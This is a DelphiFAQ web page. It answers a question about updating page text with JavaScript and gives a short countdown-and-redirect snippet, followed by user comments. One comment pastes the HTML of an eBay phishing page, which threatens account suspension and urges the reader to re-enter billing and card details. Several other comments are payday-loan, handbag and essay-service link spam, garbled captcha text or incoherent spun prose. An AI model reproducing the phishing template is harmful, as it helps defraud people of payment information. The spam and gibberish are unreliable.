DelphiFAQ Home Search:

Dynamically change a normal text statement on a html page

 

comments15 comments. Current rating: 3 stars (4 votes). Leave comments and/ or rate it.

Question:

I want to display a kind of countdown on my web page with a redirect happening once 0 is reached.
How can I update the counter without reloading the page every time?

Answer:

You need to define a
section or even use a header. Give this section a unique ID, use javascript to get a reference to the element and use the .innerHTML property to update the text.

To implement the countdown, you need to set a timer.
The example shows this and uses setTimeout for the timer.

<script language="JavaScript">
<!--
var iTime=5;
function update() {
var txt = 'Will update progress ';
if (iTime>1) { txt = txt + 'in ' + iTime + ' seconds.'; }
else {
  if (iTime==1) { txt = txt + 'in one second.'; }
  else { txt = txt + 'now.'; }
}
document.getElementById("cnt").innerHTML = txt;
iTime=iTime-1;
if(iTime>=0) { ID=window.setTimeout("update();",1000); }
else { document.location.href="/request?70"; }
} 
// -->

</script>
</head>
<body onload="update()">

<div name=cnt id=cnt>Will update progress in 5 seconds.</div>

Content-type: text/html

Comments:

2007-04-22, 01:10:09
anonymous from Iran in Chahar Mahall va Bakhtiari, Iran  
rating
I used it very simply.
2008-06-17, 05:25:38
from India  
asdfd
2008-09-10, 02:33:08
darksystemcd@bol.com.br from Santos, Brazil  
rating
I have a question about this JavaScript code ....

What about when if i want to write text direct to that var :
'var txt = 'Will update progress ';'

then to be able for change a UNKNOW text string placed at runtime
withnot realod the entire page .
just like the function gets the time,a place where it can get a string .

something like :
'var MyStringFromUnknowRssFeed;' <<But from where it came from ?

Then works like this :

<div name=cnt id=cnt>its realtime rss feed</div> <<<Updated right here ?!!
2009-02-02, 12:27:22
anonymous from Romania  
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD class=Question id=tdA1 vAlign=top align=left><STRONG>Dear eBay User,<BR>     We regret to inform you that your eBay account could be suspended because you violated  The eBay User Agreement, that you accepted on your registration. The eBay Security staff belive that you are implicated in one of those Restricted Activities. <BR>     (a) You have provided false, inaccurate or misleading information on your eBay Registration; <BR>     (b) You are involve on saleing counterfeit or stolen items; <BR>     (c) You violated any law, statute, ordinance or regulation (including, but not limited to, those governing export control, consumer protection, unfair competition, antidiscrimination or false advertising); <BR>     We have the right to limit your activity, immediately remove your bids or item listings, warn our community of your actions, issue a warning, temporarily suspend, indefinitely suspend or terminate your membership and refuse to provide our services to you.<BR>     If you not re-enter your Registred Billing Information in about 24 hours, we will suspend your eBay account, will remove your bids and we will refuse to provide our services to you.</STRONG></TD></TR>
<TR>
<TD class=Question id=tdA2 vAlign=top align=left>
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD class=Question id=tdA3 vAlign=top align=left>
<TABLE height=187 cellSpacing=0 cellPadding=0 width=664 border=0>
<TBODY>
<TR>
<TD width=664 height=42><A href=' http://www.ebay.com/' target=_blank><IMG height=40 alt='eBay logo' hspace=0 src=' http://pics.ebay.co..87x40.gif' width=3border= 0></A></TD></TR></TBODY><</TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD colSpan=2><IMG height=10 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=1></TD></TR>
<TR>
<TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=1></TD></TR>
<TR bgColor=#ffe580>
<TD width=25><IMG height=3 alt='' src=' http://pics.ebay.co.._16x3.gif' width=16 align=middle></TD>
<TD vAlign=center width=575>
<TABLE cellSpacing=0 cellPadding=1 width=701 border=0>
<TBODY>
<TR>
<TD vAlign=center noWrap width=437><FONT face='Verdana, Helvetica, Arial, sans-serif' size=3><B>Re-enter Your Billing Information</B></FONT></TD>
<TD vAlign=center noWrap align=right width=260><A href=' http://pages.ebay.c..gnin.html' target=_blank onfiltered='return openHelpWindow(this.href);'><IMG height=14 src=' http://pics.ebay.co..14x14.gif' width=14 border=0></A><IMG height=1 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=4><FONT face='Arial, Helvetica, sans-serif' color=#003399 size=2><A href=' http://pages.ebay.c..gnin.html' target=_blank onfiltered='return openHelpWindow(this.href);'>Need Help?</A></FONT><FONT color=#003399><IMG height=1 alt=spacer src=' http://pics.ebay.co..pacer.gif'<TR>
<TD bgColor=#ffcc00 colSpan=2><FONT color=#003399><IMG height=2 alt=spacer src='
http://pics.ebay.co..pacer.gif'<TABLE cellSpacing=0 cellPadding=0 width=720 border=0>
<TBODY>
<TR bgColor=#ffffcc>
<TD width=598 height=23>
<TABLE cellSpacing=0 cellPadding=0 width=599 border=0>
<TBODY>
<TR>
<TD vAlign=top width=31 height=8><FONT color=#003399><IMG height=16 src='
https://scgi.ebay.co..16x16.gif' width=16></FONT></TD>
<TD vAlign=top width=139 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' size=2><B>Enter Information</B></FONT></TD>
<TD width=38><IMG height=2 alt=' ' src=' https://scgi.ebay.co..pacer.gif' width=25></TD>
<TD vAlign=top width=27 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>2</FONT></TD>
<TD vAlign=top width=113 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>Agree to Terms</FONT> </TD>
<TD width=50><IMG height=2 alt=' ' src=' https://scgi.ebay.co..pacer.gif' width=25></TD>
<TD vAlign=top width=25 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>3</FONT></TD>
<TD vAlign=top width=176 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>Confirm YoEmail& lt;/FONT></TD></TR></TBODY></TABLE& gt;</TD></TR></TBODY></TABLE><</TD></TR>
<TR>
<TD class=Question id=tdA4 vAlign=top align=left>Your card will not be charged. Rest assured that your information is kept safe and private. &nbs& lt;/TD></TR></TBODY></TABLE></TD> </TR></TBODY></TABLE>




































<IMG alt='' src=' http://www.newshost.._cvv2.gif'


































<P><STRONG> </STRSTRONG>
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD id=tdQAvAlign= top><STRONG></STRONG></TD></TR/TR>
<TR>
<TD class=Question id=tdA17 vAlign=top align=left>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD vAlign=top width=423><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#666666 size=-2>Your card will <STRONG>not </STRONG>be charged.</FONT> </TD>
<TD vAlign=top width=157></A></A><FONT face='Arial, Verdana, Helvetica, sans-serif' size=1><A href='
http://pages.ebay.c..licy.html' target=_blank onfiltered='return openHelpWindow(this.href);'><IMG height=31 alt=TrustE src=' https://scgi.ebay.co..utton.gif' width=116 align=middle border=0></A></FONT><A target=_blank name=State></A><A target=_blaname= ZipCode></A></TD></TR></TBODY>></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD><IMG height=20 alt='' src=' https://scgi.ebay.co..pacer.gif'<TABLE height=1 cellSpacing=0 cellPadding=0 width=600 bgColor=#ffcc00 border=0>
<TBODY>
<TR>
<TD vAlign=top height=1><IMG height=2 src='
https://scgi.ebay.co..pacer.gif' width=1></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff height=5></A><FONT face='Arial, Verdana, Helvetica, sans-serif' size=1><A target=_blank name=DOB><FONT color=#003399>Copyright © 1995-2003 eBay Inc. All Rights Reserved.<BR>Designated trademarks and brands are the property of their respective owners.<BR>Use of this Web site constitutes acceptance of the eBay </FONT></A><A href=' http://pages.ebay.c..ment.html' target=_blank onfiltered='return openHelpWindow(this.href);'><FONT color=#003399>User Agreement</FONT></A> and <A href=' http://pages.ebay.c..licy.html' target=_blank onfiltered='return openHelpWindow(this.href);'><FONT color=#003399>Privacy Policy</FONT></A&. </FONT></TD></TR></TBODY></TABLE& gt;</TD></TR></TBODY></TABLE></P&/P>
2009-04-21, 00:52:39
anonymous from India  
shangeetha
2010-04-17, 00:27:46
anonymous from India  
http://www.delphifa..d""""""""" target=_blank > http:// http://www.d..od"""""""" target=_blank > http://www.delphifa..cod""""""" target=_blank > http://www.delphifa../cod"""""" target=_blank > http://www.delphifa..m/cod""""" target=_blank > http://www.delphifa..om/cod"""" target=_blank > http://www.delphifa..com/cod""" target=_blank > http://www.delphifa...com/cod"" target=_blank > http://w http://www...q.com/cod" target=_blank > http://www.delphifa..aq.com/cod Ple Please type in the code: Please type in the code: ase type in the code: es/c10.gif Please type i Please type in the code: n the c Please type in the code: ode:
2012-06-05, 21:31:14
anonymous from China  
<strong> http://www.coachout..strong> <a href=' http://www.coachout..g>Coach Outlet Online</strong></a><br />
<strong> http://www.coachfac..strong> <a href=' http://www.coachfac..g>Coach Factory</strong></a><br />
<strong> http://www.myloveco..strong> <a href=' http://www.myloveco..g>Coach Outlet Online</strong></a><br />
<strong> http://www.buyincoa..strong> <a href=' http://www.buyincoa..g>Coach Outlet</strong></a><br />
<strong> http://www.cheapcoa..strong> <a href=' http://www.cheapcoa..g>Cheap Coach Handbags</strong></a><br />
<strong> http://www.coachfac..strong> <a href=' http://www.coachfac..g>Coach Factory Outlet</strong></a><br />
<strong> http://www.buycoach..strong> <a href=' http://www.buycoach..g>Coach Outlet Online</strong></a><br />
<strong>www.coachoutletonfactory.net</strong> <a href=' http://www.coachout..g>Coach Factory Outlet</strong></a><br />
<strong>www.coachoutletonline4you.us</strong> <a href=' http://www.coachout..g>Coach Outlet Online</strong></a><br />
<strong>coachfactoryoutletq.net</strong> <a href=' http://www.coachfac..g>Coach Factory</strong></a><br />
<strong>gotocoachoutlets.net</strong> <a href=' http://www.gotocoac..g>Coach Outlet Online</strong></a><br />
2012-11-12, 02:12:32
anonymous from United Kingdom  
2012-11-27, 21:56:22
 
rating
ppopox <a href=' http://paydayloansnsa.com/ '>payday loans</a> hHOFb <a href=' http://instantpayda..answa.com/ '>payday loans</a> >:]] <a href=' http://paydayloansmsa.com/ '>payday loan</a> =-]
2014-12-26, 04:13:50
anonymous from China  
ole1, tudo bem?estou tentando calcoor uma caixa de pesquisa no meu blog mas nao que procure algo no blog e sim num banco de dados, vou explicarmeu blog e9 de um movimento que faz retiro para criane7as, vai fazer 10 anos e tem mais de 4000 pessoas que ja fizeram, eu queria criar uma caixa de pesquisa onde a pessoa calcooria seu nome e mostrasse qual retiro ela fez je1 que muitos ne3o lembram mais, e9 possivel fazer isso? espero que vc possa me ajudar, vou deixar a url para vc ver o blog tbm, desde ja agradee7oattjoe Anjos
2014-12-27, 06:53:14
anonymous from Kuala Lumpur, Malaysia  
Ole1 Ariane!! Qto tempo!!! Vc me ajudou( e muito) a algum tempo, qdo<a href=' http://wteuneyelv.com'> peugei</a> um template seu...Bom, minha dfavida e9 a seguinte: Qdo inseri a busca no meu blog, conforme o indicado, ficou perfeito, pore9m qdo o blog e9 visualizado no IE07, o bote3o 'Busca' aparece cortado(o que acontece com alguns outros cf3digos no blog),mas o mesmo ne3o ocorre qdo uso o Firefox ou o d3pera, sere1 que vc sabe o que este1 ocorrendo??Nota: eu diminued a largura conforme o indicado, mas no IE07 ne3o surte efeito...
2015-05-11, 04:32:54
anonymous from Pakistan  
Low weekend it about time the food this last than leader board the bases around the only one month double this matter getting we'll have more butt some point got a transition and the transition is in your psyche you need to be you come here and when you get here call you that would do yeah by this position little the Crestwood day good progress with them lightly called ok like fight with nope ok to your head lip the lake lip are I A Bram as we lose it in but as you go this right yeah good eagle putt.

http://eye-fold.com/
2015-05-11, 04:36:59
anonymous from Pakistan  
Occurs to me that the thank you this lead with yes my million like you take issue with that K said let's try to be one or rest more humid this to just re to the pizza place you've got lot but should be legal that's about their only with me happiness stop talking crap love you back into okay time okay to chill there kind of plan to spend some time there allowing the muscles Electoral Act and open up and install.

http://eye-gather.com/
2015-07-31, 05:08:52
anonymous from Pakistan  
By stew in my knowledge and I thought I came up with a very say prop we met and you know stewards said the crunch is neither good nor bad which Timmy is contradictory to what used today that that sort of these changes minor won't but users they don't have a product that is needed before know better you know like well individual nature's
2017-04-12, 03:46:36
anonymous from United States  
rating
Successful qualified spoken conversation includes the capacity to talk fluently, to be concise yet detailed, to emanate confidence and to speak in a way befitting the celebration. A vital element of helpful mental communication is the power to tune in to remarks from those you are interacting also to observe their reactions. Public Speaking To become a successful public speaker, an expert should be willing to communicate with a certain number of people, hence organizing the conversation to match the audience. A professionally delivered presentation is well-organized and considered, convinces the audience do you know what you are talking about and is shipped like it had been off-the-cuff and not read from the script. Experts who excel at written conversation discover how to employ terminology to obtain their information across. There are certainly a variety of kinds of published communication including composing: words, memos, project strategies, policies and methods, articles for common followers, technical clinical studies, studies and articles, marketing brochures, cards, magazines and many more. Digital Communication Social networking, contacting, bloging, texting, internet meeting and research and teleconferencing are all types of communication that efficient specialists should comprehend and grasp, to whatever diploma is suitable to communicate within their professional occupations. Email is fast and successful and files a sequence of communications which can be referred back for old documentation.
[url= http://substation-u..g-2/]essay writing service[/url]

 

 

NEW: Optional: Register   Login
Email address (not necessary):

Rate as
Hide my email when showing my comment.
Please notify me once a day about new comments on this topic.
Please provide a valid email address if you select this option, or post under a registered account.
 

Show city and country
Show country only
Hide my location
You can mark text as 'quoted' by putting [quote] .. [/quote] around it.
Please type in the code:

Please do not post inappropriate pictures. Inappropriate pictures include pictures of minors and nudity.
The owner of this web site reserves the right to delete such material.

photo Add a picture: